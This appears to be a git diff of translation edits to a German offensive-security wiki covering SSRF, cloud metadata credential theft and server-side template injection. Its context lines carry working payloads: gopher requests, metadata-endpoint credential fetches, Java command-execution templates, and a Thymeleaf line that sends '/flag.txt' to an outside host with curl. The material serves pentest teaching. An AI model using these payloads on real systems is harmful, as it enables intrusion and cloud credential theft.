- Identifiziert als Protokoll für den sicheren Dateitransfer über Secure Shell, wird ein Beispiel bereitgestellt, das zeigt, wie ein PHP-Skript ausgenutzt werden könnte, um sich mit einem bösartigen SFTP-Server zu verbinden: `url=sftp://generic.com:11111/`
|
||||
- **TFTP://**
|
||||
@ -55,7 +55,7 @@ From https://twitter.com/har1sec/status/1182255952055164929
|
||||
4. connect
|
||||
```
|
||||
- **Curl URL globbing - WAF umgehen**
|
||||
- Wenn die SSRF mit **curl** ausgeführt wird, hat curl eine Funktion namens [**URL globbing**](https://everything.curl.dev/cmdline/globbing), die nützlich sein könnte, um WAFs zu umgehen. Zum Beispiel finden Sie in diesem [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) dieses Beispiel für eine **Pfadtraversierung über das `file`-Protokoll**:
|
||||
- Wenn die SSRF mit **curl** ausgeführt wird, hat curl eine Funktion namens [**URL globbing**](https://everything.curl.dev/cmdline/globbing), die nützlich sein könnte, um WAFs zu umgehen. Zum Beispiel finden Sie in diesem [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) dieses Beispiel für eine **Pfad Traversierung über das `file` Protokoll**:
|
||||
```
|
||||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
```
|
||||
@ -64,7 +64,7 @@ file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
|
||||
### Gopher://
|
||||
|
||||
Mit diesem Protokoll können Sie die **IP, den Port und die Bytes** angeben, die der Server **senden** soll. Dann können Sie im Grunde eine SSRF ausnutzen, um mit **irgendeinem TCP-Server** zu **kommunizieren** (aber Sie müssen wissen, wie man mit dem Dienst spricht).\
|
||||
Mit diesem Protokoll können Sie die **IP, den Port und die Bytes** angeben, die der Server **senden** soll. Dann können Sie im Grunde eine SSRF ausnutzen, um mit **irgendeinem TCP-Server** zu **kommunizieren** (aber Sie müssen zuerst wissen, wie man mit dem Dienst spricht).\
|
||||
Glücklicherweise können Sie [Gopherus](https://github.com/tarunkant/Gopherus) verwenden, um Payloads für mehrere Dienste zu erstellen. Darüber hinaus kann [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) verwendet werden, um _gopher_-Payloads für _Java RMI_-Dienste zu erstellen.
|
||||
|
||||
**Gopher smtp**
|
||||
@ -95,7 +95,7 @@ header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
|
||||
?>Now query it.
|
||||
https://example.com/?q=http://evil.com/redirect.php.
|
||||
```
|
||||
#### Gopher MongoDB -- Erstelle Benutzer mit Benutzername=admin mit Passwort=admin123 und mit Berechtigung=administrator
|
||||
#### Gopher MongoDB -- Erstelle Benutzer mit Benutzername=admin, Passwort=admin123 und Berechtigung=administrator
|
||||
```bash
|
||||
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
|
||||
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
||||
@ -133,7 +133,7 @@ Es könnte sich lohnen, eine Payload wie: `` url=http://3iufty2q67fuy2dew3yug4f3
|
||||
|
||||
## PDF-Darstellung
|
||||
|
||||
Wenn die Webseite automatisch ein PDF mit einigen Informationen erstellt, die Sie bereitgestellt haben, können Sie **einige JS einfügen, die vom PDF-Ersteller** selbst (dem Server) während der Erstellung des PDFs ausgeführt wird, und Sie werden in der Lage sein, eine SSRF auszunutzen. [**Weitere Informationen finden Sie hier**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
Wenn die Webseite automatisch ein PDF mit einigen Informationen erstellt, die Sie bereitgestellt haben, können Sie **einige JS einfügen, die vom PDF-Ersteller** selbst (dem Server) während der Erstellung des PDFs ausgeführt wird, und Sie werden in der Lage sein, eine SSRF auszunutzen. [**Hier finden Sie weitere Informationen**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
|
||||
## Von SSRF zu DoS
|
||||
|
||||
@ -206,7 +206,7 @@ app.run(threaded=False)
|
||||
```
|
||||
</details>
|
||||
|
||||
Flask erlaubt die Verwendung von **`@`** als Anfangszeichen, was es ermöglicht, **den ursprünglichen Hostnamen als Benutzernamen** zu verwenden und einen neuen einzufügen. Angriffsanfrage:
|
||||
Flask erlaubt die Verwendung von **`@`** als Anfangszeichen, was es ermöglicht, **den ursprünglichen Hostnamen als Benutzernamen** zu verwenden und einen neuen einzufügen. Angriffsanforderung:
|
||||
```http
|
||||
GET @evildomain.com/ HTTP/1.1
|
||||
Host: target.com
|
||||
@ -261,7 +261,7 @@ Wenn Sie **Probleme** haben, **Inhalte von einer lokalen IP** aufgrund von **COR
|
||||
|
||||
### Automatisiertes DNS Rebidding
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ist ein Tool, um [DNS Rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) Angriffe durchzuführen. Es enthält die notwendigen Komponenten, um die IP-Adresse des Angreifer-DNS-Namens auf die IP-Adresse der Zielmaschine zurückzubinden und Angriffs-Payloads bereitzustellen, um anfällige Software auf der Zielmaschine auszunutzen.
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ist ein Tool, um [DNS Rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) Angriffe durchzuführen. Es enthält die notwendigen Komponenten, um die IP-Adresse des Angreifer-Server-DNS-Namens auf die IP-Adresse der Zielmaschine zurückzubinden und um Angriffs-Payloads bereitzustellen, um anfällige Software auf der Zielmaschine auszunutzen.
|
||||
|
||||
Sehen Sie sich auch den **öffentlich laufenden Server in** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) an.
|
||||
|
||||
@ -278,9 +278,9 @@ Angriff:
|
||||
1. Bitten Sie den Benutzer/Bot, **Zugriff** auf eine **Domain** zu erhalten, die vom **Angreifer** kontrolliert wird.
|
||||
2. Die **TTL** des **DNS** beträgt **0** Sekunden (der Opfer wird die IP der Domain also bald erneut überprüfen).
|
||||
3. Eine **TLS-Verbindung** wird zwischen dem Opfer und der Domain des Angreifers hergestellt. Der Angreifer fügt die **Payload in** die **Sitzungs-ID oder das Sitzungsticket** ein.
|
||||
4. Die **Domain** wird eine **unendliche Schleife** von Weiterleitungen gegen **sich selbst** starten. Das Ziel ist es, den Benutzer/Bot dazu zu bringen, die Domain zuzugreifen, bis er **erneut** eine **DNS-Anfrage** an die Domain stellt.
|
||||
4. Die **Domain** wird eine **unendliche Schleife** von Weiterleitungen gegen **sich selbst** starten. Das Ziel ist es, den Benutzer/Bot dazu zu bringen, die Domain zuzugreifen, bis er **erneut** eine **DNS-Anfrage** der Domain durchführt.
|
||||
5. In der DNS-Anfrage wird jetzt eine **private IP**-Adresse angegeben (zum Beispiel 127.0.0.1).
|
||||
6. Der Benutzer/Bot wird versuchen, die **TLS-Verbindung wiederherzustellen**, und um dies zu tun, wird er die **Sitzungs-ID/Ticket-ID** (in der die **Payload** des Angreifers enthalten war) **senden**. Herzlichen Glückwunsch, Sie haben es geschafft, den **Benutzer/Bot dazu zu bringen, sich selbst anzugreifen**.
|
||||
6. Der Benutzer/Bot wird versuchen, die **TLS-Verbindung wiederherzustellen**, und um dies zu tun, wird er die **Sitzungs**-ID/Ticket-ID **senden** (in der die **Payload** des Angreifers enthalten war). Herzlichen Glückwunsch, Sie haben es geschafft, den **Benutzer/Bot dazu zu bringen, sich selbst anzugreifen**.
|
||||
|
||||
Beachten Sie, dass Sie während dieses Angriffs, wenn Sie localhost:11211 (_memcache_) angreifen möchten, das Opfer dazu bringen müssen, die ursprüngliche Verbindung mit www.attacker.com:11211 herzustellen (der **Port muss immer derselbe sein**).\
|
||||
Um **diesen Angriff durchzuführen, können Sie das Tool** verwenden: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
@ -304,7 +304,7 @@ cloud-ssrf.md
|
||||
|
||||
## SSRF-Anfällige Plattformen
|
||||
|
||||
Mehrere bekannte Plattformen enthalten oder haben SSRF-Schwachstellen enthalten, überprüfen Sie sie in:
|
||||
Mehrere bekannte Plattformen enthalten oder haben SSRF-Schwachstellen enthalten, überprüfen Sie diese in:
|
||||
|
||||
{{#ref}}
|
||||
ssrf-vulnerable-platforms.md
|
||||
@ -333,7 +333,7 @@ Dieses Tool generiert Gopher-Payloads für:
|
||||
|
||||
- [Blogbeitrag zur Verwendung von SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
||||
|
||||
_remote-method-guesser_ ist ein _Java RMI_ Schwachstellenscanner, der Angriffsoperationen für die häufigsten _Java RMI_ Schwachstellen unterstützt. Die meisten der verfügbaren Operationen unterstützen die `--ssrf` Option, um eine _SSRF_ Payload für die angeforderte Operation zu generieren. Zusammen mit der `--gopher` Option können direkt einsatzbereite _gopher_ Payloads generiert werden.
|
||||
_remote-method-guesser_ ist ein _Java RMI_ Schwachstellenscanner, der Angriffsoperationen für die gängigsten _Java RMI_ Schwachstellen unterstützt. Die meisten der verfügbaren Operationen unterstützen die `--ssrf` Option, um eine _SSRF_ Payload für die angeforderte Operation zu generieren. Zusammen mit der `--gopher` Option können direkt einsatzbereite _gopher_ Payloads generiert werden.
|
||||
|
||||
### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### Missbrauch von SSRF in der AWS EC2-Umgebung
|
||||
|
||||
**Der Metadaten**-Endpunkt kann von jeder EC2-Maschine aus aufgerufen werden und bietet interessante Informationen darüber. Er ist unter der URL: `http://169.254.169.254` ([Informationen über die Metadaten hier](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)) zugänglich.
|
||||
**Der Metadaten**-Endpunkt kann von jeder EC2-Maschine aus aufgerufen werden und bietet interessante Informationen darüber. Er ist unter der URL `http://169.254.169.254` erreichbar ([Informationen über die Metadaten hier](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
|
||||
Es gibt **2 Versionen** des Metadaten-Endpunkts. Die **erste** erlaubt den **Zugriff** auf den Endpunkt über **GET**-Anfragen (daher kann jede **SSRF ihn ausnutzen**). Für die **Version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), müssen Sie einen **Token** anfordern, indem Sie eine **PUT**-Anfrage mit einem **HTTP-Header** senden und dann diesen Token verwenden, um mit einem anderen HTTP-Header auf die Metadaten zuzugreifen (es ist also **komplizierter auszunutzen** mit einer SSRF).
|
||||
|
||||
@ -79,7 +79,7 @@ Als ein **öffentlich verfügbares IAM-Zugangsdaten** Beispiel können Sie besuc
|
||||
|
||||
Sie können auch öffentliche **EC2-Sicherheitsanmeldeinformationen** überprüfen unter: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
Sie können dann **diese Anmeldeinformationen nehmen und sie mit der AWS CLI verwenden**. Dies ermöglicht Ihnen, **alles zu tun, wozu diese Rolle Berechtigungen hat**.
|
||||
Sie können dann **diese Anmeldeinformationen verwenden und sie mit der AWS CLI** nutzen. Dies ermöglicht Ihnen, **alles zu tun, wozu diese Rolle Berechtigungen hat**.
|
||||
|
||||
Um die neuen Anmeldeinformationen zu nutzen, müssen Sie ein neues AWS-Profil wie dieses erstellen:
|
||||
```
|
||||
@ -96,14 +96,14 @@ Beachten Sie das **aws_session_token**, dies ist unerlässlich, damit das Profil
|
||||
|
||||
**ECS** ist eine logische Gruppe von EC2-Instanzen, auf denen Sie eine Anwendung ausführen können, ohne Ihre eigene Clusterverwaltungsinfrastruktur skalieren zu müssen, da ECS dies für Sie verwaltet. Wenn es Ihnen gelingt, einen Dienst, der in **ECS** läuft, zu kompromittieren, ändern sich die **Metadatenendpunkte**.
|
||||
|
||||
Wenn Sie _**http://169.254.170.2/v2/credentials/\<GUID>**_ aufrufen, finden Sie die Anmeldeinformationen der ECS-Maschine. Aber zuerst müssen Sie **das \<GUID>** finden. Um das \<GUID> zu finden, müssen Sie die **environ**-Variable **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** innerhalb der Maschine lesen.\
|
||||
Wenn Sie _**http://169.254.170.2/v2/credentials/\<GUID>**_ aufrufen, finden Sie die Anmeldeinformationen der ECS-Maschine. Aber zuerst müssen Sie **das \<GUID> finden**. Um das \<GUID> zu finden, müssen Sie die **environ**-Variable **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** innerhalb der Maschine lesen.\
|
||||
Sie könnten in der Lage sein, dies auszulesen, indem Sie eine **Path Traversal** zu `file:///proc/self/environ` ausnutzen.\
|
||||
Die genannte http-Adresse sollte Ihnen den **AccessKey, SecretKey und Token** geben.
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
> [!NOTE]
|
||||
> Beachten Sie, dass Sie in **einigen Fällen** auf die **EC2-Metadateninstanz** vom Container aus zugreifen können (überprüfen Sie die zuvor erwähnten IMDSv2 TTL-Beschränkungen). In diesen Szenarien könnten Sie vom Container sowohl auf die IAM-Rolle des Containers als auch auf die IAM-Rolle der EC2 zugreifen.
|
||||
> Beachten Sie, dass Sie in **einigen Fällen** auf die **EC2-Metadateninstanz** vom Container aus zugreifen können (überprüfen Sie die zuvor erwähnten IMDSv2 TTL-Beschränkungen). In diesen Szenarien könnten Sie vom Container aus sowohl auf die IAM-Rolle des Containers als auch auf die IAM-Rolle der EC2 zugreifen.
|
||||
|
||||
### SSRF für AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
||||
@ -115,10 +115,10 @@ Die **Namen** der **interessanten Umgebungsvariablen** sind:
|
||||
- `AWS_SECRET_ACCESS_KEY`
|
||||
- `AWS_ACCES_KEY_ID`
|
||||
|
||||
Darüber hinaus haben Lambda-Funktionen neben IAM-Anmeldeinformationen auch **Ereignisdaten, die an die Funktion übergeben werden, wenn sie gestartet wird**. Diese Daten werden der Funktion über die [Runtime-Schnittstelle](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) zur Verfügung gestellt und könnten **sensible** **Informationen** enthalten (wie in den **stageVariables**). Im Gegensatz zu IAM-Anmeldeinformationen sind diese Daten über standardmäßiges SSRF unter **`http://localhost:9001/2018-06-01/runtime/invocation/next`** zugänglich.
|
||||
Darüber hinaus haben Lambda-Funktionen neben IAM-Anmeldeinformationen auch **Ereignisdaten, die an die Funktion übergeben werden, wenn sie gestartet wird**. Diese Daten werden der Funktion über die [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) zur Verfügung gestellt und könnten **sensible** **Informationen** enthalten (wie in den **stageVariables**). Im Gegensatz zu IAM-Anmeldeinformationen sind diese Daten über standardmäßiges SSRF unter **`http://localhost:9001/2018-06-01/runtime/invocation/next`** zugänglich.
|
||||
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass **Lambda-Anmeldeinformationen** in den **Umgebungsvariablen** enthalten sind. Wenn also der **Stack-Trace** des Lambda-Codes Umgebungsvariablen ausgibt, ist es möglich, sie **durch Provokation eines Fehlers** in der App zu **exfiltrieren**.
|
||||
> Beachten Sie, dass die **Lambda-Anmeldeinformationen** in den **Umgebungsvariablen** enthalten sind. Wenn also der **Stack-Trace** des Lambda-Codes Umgebungsvariablen ausgibt, ist es möglich, sie **durch Provokation eines Fehlers** in der App zu **exfiltrieren**.
|
||||
|
||||
### SSRF-URL für AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
||||
@ -323,13 +323,13 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
- Darf **nicht** einen `X-Forwarded-For` Header enthalten
|
||||
|
||||
> [!TIP]
|
||||
> Eine Azure VM kann 1 systemverwaltete Identität und mehrere benutzerverwaltete Identitäten haben. Das bedeutet im Grunde, dass Sie **alle verwalteten Identitäten, die an eine VM angehängt sind, nachahmen können**.
|
||||
> Eine Azure VM kann 1 systemverwaltete Identität und mehrere benutzerverwaltete Identitäten haben. Das bedeutet im Grunde, dass Sie **alle verwalteten Identitäten, die an eine VM angehängt sind, impersonieren können**.
|
||||
>
|
||||
> Standardmäßig verwendet der Metadatenendpunkt die **systemzugewiesene MI (falls vorhanden)**.
|
||||
>
|
||||
> Leider konnte ich keinen Metadatenendpunkt finden, der alle MIs anzeigt, die eine VM hat.
|
||||
>
|
||||
> Daher können Sie, um alle angehängten MIs zu finden, Folgendes tun:
|
||||
> Daher können Sie, um alle angehängten MIs zu finden:
|
||||
>
|
||||
> - **Angehängte Identitäten mit az cli abrufen** (wenn Sie bereits einen Principal im Azure-Mandanten kompromittiert haben)
|
||||
>
|
||||
@ -339,7 +339,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
> --name <vm-name>
|
||||
> ```
|
||||
>
|
||||
> - **Angehängte Identitäten** mit der standardmäßig angehängten MI in den Metadaten abrufen:
|
||||
> - **Angehängte Identitäten** mithilfe der standardmäßig angehängten MI in den Metadaten abrufen:
|
||||
>
|
||||
> ```bash
|
||||
> export API_VERSION="2021-12-13"
|
||||
@ -362,7 +362,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||||
> ```
|
||||
>
|
||||
> - **Alle** definierten verwalteten Identitäten im Mandanten abrufen und **brute force**, um zu sehen, ob eine von ihnen an die VM angehängt ist:
|
||||
> - **Alle** definierten verwalteten Identitäten im Mandanten abrufen und **brute force** verwenden, um zu sehen, ob eine von ihnen an die VM angehängt ist:
|
||||
>
|
||||
> ```bash
|
||||
> az identity list
|
||||
@ -540,7 +540,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
|
||||
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
||||
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass in IBM standardmäßig Metadaten nicht aktiviert sind, sodass es möglich ist, dass Sie darauf nicht zugreifen können, selbst wenn Sie sich in einer IBM-Cloud-VM befinden.
|
||||
> Beachten Sie, dass in IBM standardmäßig Metadaten nicht aktiviert sind, sodass es möglich ist, dass Sie darauf nicht zugreifen können, selbst wenn Sie sich in einer IBM Cloud-VM befinden.
|
||||
```bash
|
||||
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
|
||||
-H "Metadata-Flavor: ibm"\
|
||||
@ -564,7 +564,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
|
||||
# Get IAM credentials
|
||||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||||
```
|
||||
Dokumentation zu den Metadaten-Diensten verschiedener Plattformen ist unten aufgeführt, wobei die Methoden hervorgehoben werden, über die Konfigurations- und Laufzeitinformationen für Instanzen abgerufen werden können. Jede Plattform bietet einzigartige Endpunkte zum Zugriff auf ihre Metadaten-Dienste.
|
||||
Dokumentation für die Metadatenservices verschiedener Plattformen ist unten aufgeführt, wobei die Methoden hervorgehoben werden, über die Konfigurations- und Laufzeitinformationen für Instanzen abgerufen werden können. Jede Plattform bietet einzigartige Endpunkte zum Zugriff auf ihre Metadatenservices.
|
||||
|
||||
## Packetcloud
|
||||
|
||||
@ -572,13 +572,13 @@ Für den Zugriff auf die Metadaten von Packetcloud kann die Dokumentation unter
|
||||
|
||||
## OpenStack/RackSpace
|
||||
|
||||
Die Notwendigkeit eines Headers wird nicht erwähnt. Metadaten können über folgenden Link abgerufen werden:
|
||||
Die Notwendigkeit für einen Header wird nicht erwähnt. Metadaten können über Folgendes abgerufen werden:
|
||||
|
||||
- `http://169.254.169.254/openstack`
|
||||
|
||||
## HP Helion
|
||||
|
||||
Die Notwendigkeit eines Headers wird hier ebenfalls nicht erwähnt. Metadaten sind zugänglich unter:
|
||||
Die Notwendigkeit für einen Header wird hier ebenfalls nicht erwähnt. Metadaten sind zugänglich unter:
|
||||
|
||||
- `http://169.254.169.254/2009-04-04/meta-data/`
|
||||
|
||||
@ -618,7 +618,7 @@ Docker-Metadaten können lokal abgerufen werden, mit Beispielen für den Abruf v
|
||||
|
||||
## Rancher
|
||||
|
||||
Die Metadaten von Rancher können über folgenden Link abgerufen werden:
|
||||
Die Metadaten von Rancher können über Folgendes abgerufen werden:
|
||||
|
||||
- `curl http://rancher-metadata/<version>/<path>`
|
||||
|
||||
|
||||
@ -157,14 +157,14 @@ Das Tool [**recollapse**](https://github.com/0xacb/recollapse) kann Variationen
|
||||
|
||||
### Automatische benutzerdefinierte Wortlisten
|
||||
|
||||
Schau dir die [**URL-Validierungs-Bypass-Checkliste** Webanwendung](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) von portswigger an, wo du den erlaubten Host und den des Angreifers eingeben kannst, und sie wird eine Liste von URLs generieren, die du ausprobieren kannst. Sie berücksichtigt auch, ob du die URL in einem Parameter, in einem Host-Header oder in einem CORS-Header verwenden kannst.
|
||||
Schau dir die [**URL-Validierungs-Bypass-Checkliste**-Webanwendung](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) von Portswigger an, wo du den erlaubten Host und den des Angreifers eingeben kannst, und sie wird eine Liste von URLs generieren, die du ausprobieren kannst. Sie berücksichtigt auch, ob du die URL in einem Parameter, in einem Host-Header oder in einem CORS-Header verwenden kannst.
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
|
||||
|
||||
### Bypass über Umleitung
|
||||
|
||||
Es könnte möglich sein, dass der Server die **ursprüngliche Anfrage** eines SSRF **filtert**, aber nicht eine mögliche **Umleitungs**antwort auf diese Anfrage.\
|
||||
Zum Beispiel könnte ein Server, der anfällig für SSRF über: `url=https://www.google.com/` ist, die **url-Parameter** filtern. Aber wenn du einen [Python-Server verwendest, um mit einem 302 zu antworten](https://pastebin.com/raw/ywAUhFrv) an den Ort, an den du umleiten möchtest, könntest du in der Lage sein, **gefilterte IP-Adressen** wie 127.0.0.1 oder sogar gefilterte **Protokolle** wie gopher zu **zugreifen**.\
|
||||
Es könnte möglich sein, dass der Server die **ursprüngliche Anfrage** eines SSRF **filtert**, aber nicht eine mögliche **Umleitungs**-Antwort auf diese Anfrage.\
|
||||
Zum Beispiel könnte ein Server, der anfällig für SSRF über: `url=https://www.google.com/` ist, die **url-Parameter** **filtern**. Aber wenn du einen [Python-Server verwendest, um mit einem 302 zu antworten](https://pastebin.com/raw/ywAUhFrv) an den Ort, an den du umleiten möchtest, könntest du in der Lage sein, **gefilterte IP-Adressen** wie 127.0.0.1 oder sogar gefilterte **Protokolle** wie gopher zu **zugreifen**.\
|
||||
[Sieh dir diesen Bericht an.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
||||
@ -11,24 +11,24 @@ Jinja ist eine beliebte Template-Engine, die in Webanwendungen verwendet wird. L
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
In diesem anfälligen Code wird der `name`-Parameter aus der Benutzeranfrage direkt mit der `render`-Funktion in die Vorlage eingefügt. Dies kann einem Angreifer potenziell ermöglichen, schädlichen Code in den `name`-Parameter einzuschleusen, was zu einer serverseitigen Template-Injection führt.
|
||||
In diesem anfälligen Code wird der `name`-Parameter aus der Benutzeranfrage direkt mit der `render`-Funktion in die Vorlage eingefügt. Dies kann einem Angreifer potenziell ermöglichen, schädlichen Code in den `name`-Parameter einzufügen, was zu einer serverseitigen Template-Injection führt.
|
||||
|
||||
Zum Beispiel könnte ein Angreifer eine Anfrage mit einem Payload wie diesem erstellen:
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
Der Payload `{{bad-stuff-here}}` wird in den Parameter `name` injiziert. Dieser Payload kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, unbefugten Code auszuführen oder die Template-Engine zu manipulieren, wodurch potenziell die Kontrolle über den Server erlangt wird.
|
||||
Die Payload `{{bad-stuff-here}}` wird in den Parameter `name` injiziert. Diese Payload kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, unbefugten Code auszuführen oder die Template-Engine zu manipulieren, wodurch potenziell die Kontrolle über den Server erlangt wird.
|
||||
|
||||
Um Server-seitige Template-Injection-Schwachstellen zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben vor der Einfügung in Templates ordnungsgemäß bereinigt und validiert werden. Die Implementierung von Eingabevalidierung und die Verwendung kontextsensitiver Escape-Techniken können helfen, das Risiko dieser Schwachstelle zu mindern.
|
||||
|
||||
### Erkennung
|
||||
|
||||
Um Server-Side Template Injection (SSTI) zu erkennen, ist es zunächst **Fuzzing des Templates** ein einfacher Ansatz. Dies beinhaltet das Injizieren einer Sequenz von Sonderzeichen (**`${{<%[%'"}}%\`**) in das Template und das Analysieren der Unterschiede in der Serverantwort auf reguläre Daten im Vergleich zu diesem speziellen Payload. Anzeichen für Schwachstellen sind:
|
||||
Um Server-Side Template Injection (SSTI) zu erkennen, ist zunächst **Fuzzing des Templates** ein einfacher Ansatz. Dies beinhaltet das Injizieren einer Sequenz von Sonderzeichen (**`${{<%[%'"}}%\`**) in das Template und das Analysieren der Unterschiede in der Serverantwort auf reguläre Daten im Vergleich zu dieser speziellen Payload. Anzeichen für Schwachstellen sind:
|
||||
|
||||
- Ausgeworfene Fehler, die die Schwachstelle und potenziell die Template-Engine offenbaren.
|
||||
- Abwesenheit des Payloads in der Reflexion oder Teile davon fehlen, was darauf hindeutet, dass der Server es anders verarbeitet als reguläre Daten.
|
||||
- **Plaintext-Kontext**: Unterscheidung von XSS, indem überprüft wird, ob der Server Template-Ausdrücke auswertet (z. B. `{{7*7}}`, `${7*7}`).
|
||||
- **Code-Kontext**: Bestätigung der Schwachstelle durch Ändern der Eingabeparameter. Zum Beispiel, das Ändern von `greeting` in `http://vulnerable-website.com/?greeting=data.username`, um zu sehen, ob die Serverausgabe dynamisch oder fest ist, wie in `greeting=data.username}}hello`, das den Benutzernamen zurückgibt.
|
||||
- Abwesenheit der Payload in der Reflexion oder Teile davon fehlen, was darauf hindeutet, dass der Server sie anders verarbeitet als reguläre Daten.
|
||||
- **Klartext-Kontext**: Unterscheidung von XSS, indem überprüft wird, ob der Server Template-Ausdrücke auswertet (z. B. `{{7*7}}`, `${7*7}`).
|
||||
- **Code-Kontext**: Bestätigung der Schwachstelle durch Ändern der Eingabeparameter. Zum Beispiel, indem `greeting` in `http://vulnerable-website.com/?greeting=data.username` geändert wird, um zu sehen, ob die Serverausgabe dynamisch oder fest ist, wie in `greeting=data.username}}hello`, das den Benutzernamen zurückgibt.
|
||||
|
||||
#### Identifizierungsphase
|
||||
|
||||
@ -76,7 +76,7 @@ In dieser **Wortliste** finden Sie **definierte Variablen** in den Umgebungen ei
|
||||
|
||||
### Java
|
||||
|
||||
**Java - Grundlegende Injection**
|
||||
**Java - Grundlegende Injektion**
|
||||
```java
|
||||
${7*7}
|
||||
${{7*7}}
|
||||
@ -89,7 +89,7 @@ ${class.getResource("../../../../../index.htm").getContent()}
|
||||
```java
|
||||
${T(java.lang.System).getenv()}
|
||||
```
|
||||
**Java - Abrufen von /etc/passwd**
|
||||
**Java - /etc/passwd abrufen**
|
||||
```java
|
||||
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
|
||||
|
||||
@ -185,7 +185,7 @@ Betrachten Sie den folgenden Codeausschnitt, der anfällig für Ausnutzung sein
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
```
|
||||
Dies deutet darauf hin, dass, wenn die Template-Engine diese Eingaben unsachgemäß verarbeitet, dies zu einer Remote-Code-Ausführung führen könnte, die auf URLs wie zugreift:
|
||||
Dies deutet darauf hin, dass, wenn die Template-Engine diese Eingaben nicht ordnungsgemäß verarbeitet, dies zu einer Remote-Code-Ausführung führen könnte, die auf URLs wie zugreift:
|
||||
```
|
||||
http://localhost:8082/(7*7)
|
||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||
@ -320,7 +320,7 @@ Behoben durch [https://github.com/HubSpot/jinjava/pull/230](https://github.com/H
|
||||
- `{{request.getClass()}}` - Klasse com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
Suche nach "com.hubspot.content.hubl.context.TemplateContextRequest" und entdecke das [Jinjava-Projekt auf Github](https://github.com/HubSpot/jinjava/).
|
||||
Suchen Sie nach "com.hubspot.content.hubl.context.TemplateContextRequest" und entdeckten das [Jinjava-Projekt auf Github](https://github.com/HubSpot/jinjava/).
|
||||
```java
|
||||
{{request.isDebug()}}
|
||||
//output: False
|
||||
@ -365,7 +365,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
|
||||
